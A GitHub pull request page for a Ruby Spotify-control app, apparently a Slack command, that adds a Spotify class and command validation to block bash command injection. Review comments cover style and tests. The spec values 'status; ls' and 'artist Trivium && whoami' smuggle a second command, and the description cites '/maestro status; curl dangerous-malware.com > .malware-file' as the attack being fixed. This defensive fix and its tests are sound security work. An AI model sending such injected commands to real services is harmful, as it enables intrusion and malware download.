-
Notifications
You must be signed in to change notification settings - Fork 15
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
OO Spotify Class #8
Conversation
Improve test coverage
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
A few small comments, then this looks good to go. 👍 Good work on this!
app.rb
Outdated
output = HELP_TEXT unless $?.success? | ||
[output, $?.success?] | ||
# Find methods unique to Spotify class | ||
VALID_COMMANDS = (Spotify.methods - Object.methods).freeze |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should this be Spotify.public_methods
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
With this PR, it won't make a difference, but for the sake of maintainability I'll change it.
args.downcase! | ||
command, *params = *split_args(args) | ||
command = command.to_sym | ||
return [HELP_TEXT, true] if args == "help" || !VALID_COMMANDS.include?(command) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Nice. That's a good way to fail quick.
spec/maestro_spec.rb
Outdated
let(:text) { "status; ls" } | ||
it "returns the usage text" do | ||
subject | ||
expect(last_response).to be_ok |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Since we've got this set of expect
s a few times now, we should probably move it to a shared_examples block
spec/spotify_spec.rb
Outdated
end | ||
|
||
context "command injection" do | ||
let(:play_args) { "artist Trivium && whoami" } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just to be thorough, we should probably test a semicolon one as well.
Refactor specs
Why?
Maestro allowed any arbitrary shell commands to be run using
/maestro
along with a;
or&&
e.g.
/maestro status; curl dangerous-malware.com > .malware-file
This change also makes the code more maintainable and preps it for additional features
What Changed?
Added a Spotify class with methods for each of Spotify's commands
Added validation to commands to mitigate bash command injection attacks
Added lots of tests